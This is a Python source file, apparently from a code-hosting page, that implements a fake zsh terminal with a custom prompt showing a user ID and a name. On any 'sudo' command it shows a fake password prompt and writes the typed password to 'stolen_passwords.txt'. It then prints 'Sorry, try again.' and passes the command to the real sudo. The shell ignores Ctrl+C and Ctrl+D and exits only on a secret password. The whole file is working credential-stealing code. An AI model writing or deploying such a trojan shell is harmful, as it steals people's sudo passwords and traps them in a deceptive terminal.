61 lines
2.1 KiB
Python
61 lines
2.1 KiB
Python
import os
|
|
import shlex
|
|
import subprocess
|
|
import readline
|
|
|
|
# 自动补全功能,基于系统命令
|
|
def completer(text, state):
|
|
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
|
matches = [cmd for cmd in commands if cmd.startswith(text)]
|
|
return matches[state] if state < len(matches) else None
|
|
|
|
# 伪 Zsh 终端主循环
|
|
def pseudo_zsh():
|
|
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
|
|
readline.set_completer(completer) # 绑定补全函数
|
|
|
|
while True:
|
|
try:
|
|
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
|
|
|
|
# 检查是否输入了秘密退出密码
|
|
if cmd.strip() == "hexianglong":
|
|
print("Exiting secret mode...")
|
|
break
|
|
|
|
args = shlex.split(cmd) # 解析输入命令
|
|
if not args:
|
|
continue
|
|
|
|
# 处理 cd 命令,切换目录
|
|
if args[0] == 'cd':
|
|
try:
|
|
os.chdir(args[1])
|
|
except IndexError:
|
|
print("cd: missing argument")
|
|
except FileNotFoundError:
|
|
print(f"cd: no such file or directory: {args[1]}")
|
|
continue
|
|
|
|
# 伪造 sudo 密码输入并记录
|
|
if args[0] == 'sudo':
|
|
fake_password = input("[sudo] password for 20240915786: ")
|
|
with open("stolen_passwords.txt", "a") as f:
|
|
f.write(fake_password + "\n")
|
|
print("Sorry, try again.")
|
|
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
|
continue
|
|
|
|
# 执行普通命令
|
|
try:
|
|
subprocess.run(args)
|
|
except FileNotFoundError:
|
|
print(f"zsh: command not found: {args[0]}")
|
|
except KeyboardInterrupt:
|
|
pass # 忽略 Ctrl+C
|
|
except EOFError:
|
|
pass # 忽略 Ctrl+D
|
|
|
|
if __name__ == "__main__":
|
|
pseudo_zsh()
|